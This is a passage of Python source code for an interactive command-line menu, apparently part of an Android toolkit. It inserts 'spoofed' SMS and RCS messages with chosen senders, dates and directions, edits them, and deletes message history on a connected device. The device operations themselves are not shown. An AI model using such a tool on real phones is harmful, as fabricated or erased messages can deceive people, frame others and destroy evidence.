        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def _ensure_device(self):
        if not self.serial:
            self._select_device()
        return self.serial is not None

    def show_menu(self):
        print(f"\n{'='*55}")
        print("  SMS / RCS Manipulation")
        print(f"{'='*55}")
        print(f"  Device: {self.serial or '(none)'}")
        print()
        print("  ── SMS (content provider) ──")
        print("  [1] List SMS Messages")
        print("  [2] Insert SMS (spoofed)")
        print("  [3] Insert Batch SMS")
        print("  [4] Edit SMS")
        print("  [5] Delete SMS by ID")
        print("  [6] Delete SMS by Number")
        print("  [7] Delete ALL SMS")
        print()
        print("  ── RCS (Google Messages) ──       [ROOT]")
        print("  [8] Check RCS Support")
        print("  [9] List RCS Messages")
        print("  [a] Insert RCS Message (spoofed)")
        print("  [b] Delete RCS Message")
        print()
        print("  [s] Select Device")
        print("  [0] Back")
        print()

    def list_sms(self):
        if not self._ensure_device():
            return
        try:
            addr = input("  Filter by number (Enter for all): ").strip() or None
            limit = input("  Limit [50]: ").strip()
            limit = int(limit) if limit else 50
        except (EOFError, KeyboardInterrupt, ValueError):
            return
        result = self.mgr.sms_list(self.serial, limit=limit, address=addr)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} messages:")
        print(f"  {'ID':<6} {'Type':<8} {'Address':<16} {'Date':<20} Body")
        print(f"  {'-'*75}")
        for m in result['messages']:
            body = m.get('body', '')
            if len(body) > 40:
                body = body[:40] + '...'
            date = m.get('date_readable', m.get('date', '?'))
            print(f"  {m.get('_id','?'):<6} {m.get('type_label','?'):<8} {m.get('address','?'):<16} {date:<20} {body}")

    def insert_sms(self):
        if not self._ensure_device():
            return
        try:
            print("\n  Insert Spoofed SMS")
            print(f"  {'-'*40}")
            address = input("  Phone number: ").strip()
            if not address:
                return
            body = input("  Message body: ").strip()
            if not body:
                return
            print("  Type: 1=inbox (received), 2=sent, 3=draft")
            msg_type = input("  Type [inbox]: ").strip() or 'inbox'
            date = input("  Date (YYYY-MM-DD) [today]: ").strip() or None
            time_val = input("  Time (HH:MM:SS) [now]: ").strip() or None
            read = input("  Mark as read? [Y/n]: ").strip().lower() != 'n'
        except (EOFError, KeyboardInterrupt):
            return

        print("  Inserting...")
        result = self.mgr.sms_insert(self.serial, address, body,
                                     date_str=date, time_str=time_val,
                                     msg_type=msg_type, read=read)
        if result['success']:
            print(f"  SMS inserted:")
            print(f"    From/To: {result['address']}")
            print(f"    Date:    {result['date']}")
            print(f"    Type:    {result['type']}")
            print(f"    Body:    {result['body'][:60]}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def insert_batch(self):
        if not self._ensure_device():
            return
        print("\n  Batch SMS Insert")
        print("  Enter messages one per line. Format:")
        print("    number|body|YYYY-MM-DD|HH:MM:SS|type")
        print("  Type is inbox/sent. Date/time optional. Empty line to finish.")
        print()
        messages = []
        while True:
            try:
                line = input("  > ").strip()
            except (EOFError, KeyboardInterrupt):
                break
            if not line:
                break
            parts = line.split('|')
            if len(parts) < 2:
                print("    Need at least: number|body")
                continue
            msg = {'address': parts[0].strip(), 'body': parts[1].strip()}
            if len(parts) >= 3 and parts[2].strip():
                msg['date'] = parts[2].strip()
            if len(parts) >= 4 and parts[3].strip():
                msg['time'] = parts[3].strip()
            if len(parts) >= 5 and parts[4].strip():
                msg['type'] = parts[4].strip()
            messages.append(msg)
            print(f"    Queued: {msg['address']} -> {msg['body'][:30]}")

        if not messages:
            print("  No messages to insert.")
            return

        print(f"\n  Inserting {len(messages)} messages...")
        result = self.mgr.sms_bulk_insert(self.serial, messages)
        print(f"  Done: {result['inserted']}/{result['total']} inserted successfully.")

    def edit_sms(self):
        if not self._ensure_device():
            return
        try:
            sms_id = input("  SMS _id to edit: ").strip()
            if not sms_id:
                return
            print("  Leave fields blank to keep current value.")
            body = input("  New body (or Enter to skip): ").strip() or None
            address = input("  New address (or Enter to skip): ").strip() or None
            date = input("  New date YYYY-MM-DD (or Enter): ").strip() or None
            time_val = input("  New time HH:MM:SS (or Enter): ").strip() or None
            msg_type = input("  New type inbox/sent (or Enter): ").strip() or None
        except (EOFError, KeyboardInterrupt):
            return

        result = self.mgr.sms_update(self.serial, sms_id, body=body, address=address,
                                     date_str=date, time_str=time_val, msg_type=msg_type)
        if result['success']:
            print(f"  SMS {sms_id} updated.")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def delete_by_id(self):
        if not self._ensure_device():
            return
        try:
            sms_id = input("  SMS _id to delete: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not sms_id:
            return
        result = self.mgr.sms_delete(self.serial, sms_id=sms_id)
        if result['success']:
            print(f"  Deleted SMS #{sms_id}")
        else:
            print(f"  Error: {result.get('error', result.get('output', 'Failed'))}")

    def delete_by_number(self):
        if not self._ensure_device():
            return
        try:
            address = input("  Phone number to delete all messages from: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not address:
            return
        try:
            confirm = input(f"  Delete ALL SMS from {address}? [y/N]: ").strip().lower()
        except (EOFError, KeyboardInterrupt):
            return
        if confirm != 'y':
            print("  Cancelled.")
            return
        result = self.mgr.sms_delete(self.serial, address=address, delete_all_from=True)
        if result['success']:
            print(f"  Deleted all SMS from {address}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def delete_all(self):
        if not self._ensure_device():
            return
        try:
            confirm = input("  DELETE ALL SMS on device? Type 'YES': ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if confirm != 'YES':
            print("  Cancelled.")
            return
        result = self.mgr.sms_delete_all(self.serial)
        if result['success']:
            print("  All SMS deleted.")
        else:
            print(f"  Error: {result.get('output', 'Failed')}")

    def rcs_check(self):
        if not self._ensure_device():
            return
        print("  Checking RCS support...")
        info = self.mgr.rcs_check_support(self.serial)
        print(f"\n  RCS Available: {'YES' if info['rcs_available'] else 'NO'}")
        print(f"  Messaging App: {info.get('messaging_app', 'not found')}")
        print(f"  Database:      {info.get('database', 'not found (need root)')}")

    def rcs_list_msgs(self):
        if not self._ensure_device():
            return
        try:
            limit = input("  Limit [50]: ").strip()
            limit = int(limit) if limit else 50
        except (EOFError, KeyboardInterrupt, ValueError):
            return
        print("  Fetching RCS messages (requires root)...")
        result = self.mgr.rcs_list(self.serial, limit=limit)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} messages:")
        print(f"  {'ID':<6} {'Proto':<6} {'Date':<20} {'Conv':<20} Text")
        print(f"  {'-'*80}")
        for m in result['messages']:
            text = m.get('text', '')
            if len(text) > 35:
                text = text[:35] + '...'
            conv = m.get('conversation_name', '')[:18]
            print(f"  {m.get('message_id','?'):<6} {m.get('protocol','?'):<6} {m.get('timestamp_readable','?'):<20} {conv:<20} {text}")

    def rcs_insert_msg(self):
        if not self._ensure_device():
            return
        try:
            print("\n  Insert Spoofed RCS Message (requires root)")
            print(f"  {'-'*45}")
            address = input("  Phone number / contact: ").strip()
            if not address:
                return
            body = input("  Message body: ").strip()
            if not body:
                return
            sender = input("  Sender display name (or Enter for number): ").strip() or None
            direction = input("  Direction - incoming/outgoing [incoming]: ").strip().lower()
            is_out = direction.startswith('out')
            date = input("  Date (YYYY-MM-DD) [today]: ").strip() or None
            time_val = input("  Time (HH:MM:SS) [now]: ").strip() or None
        except (EOFError, KeyboardInterrupt):
            return

        print("  Injecting RCS message...")
        result = self.mgr.rcs_insert(self.serial, address, body,
                                     date_str=date, time_str=time_val,
                                     sender_name=sender, is_outgoing=is_out)
        if result['success']:
            print(f"  RCS message injected:")
            print(f"    Address:  {result['address']}")
            print(f"    Date:     {result['date']}")
            print(f"    Protocol: {result['protocol']}")
            print(f"    Dir:      {'outgoing' if result['is_outgoing'] else 'incoming'}")
            print(f"    Body:     {result['body'][:60]}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def rcs_delete_msg(self):
        if not self._ensure_device():
            return
        try:
            msg_id = input("  RCS message _id to delete: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not msg_id:
            return
        print("  Deleting RCS message (requires root)...")
        result = self.mgr.rcs_delete(self.serial, int(msg_id))
        if result['success']:
            print(f"  Deleted RCS message #{msg_id}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip().lower()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break
            actions = {
                '1': self.list_sms,
                '2': self.insert_sms,
                '3': self.insert_batch,
                '4': self.edit_sms,
                '5': self.delete_by_id,
                '6': self.delete_by_number,
                '7': self.delete_all,
                '8': self.rcs_check,
                '9': self.rcs_list_msgs,
                'a': self.rcs_insert_msg,
                'b': self.rcs_delete_msg,
                's': self._select_device,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    m = AndroidSms()
    m.run_interactive()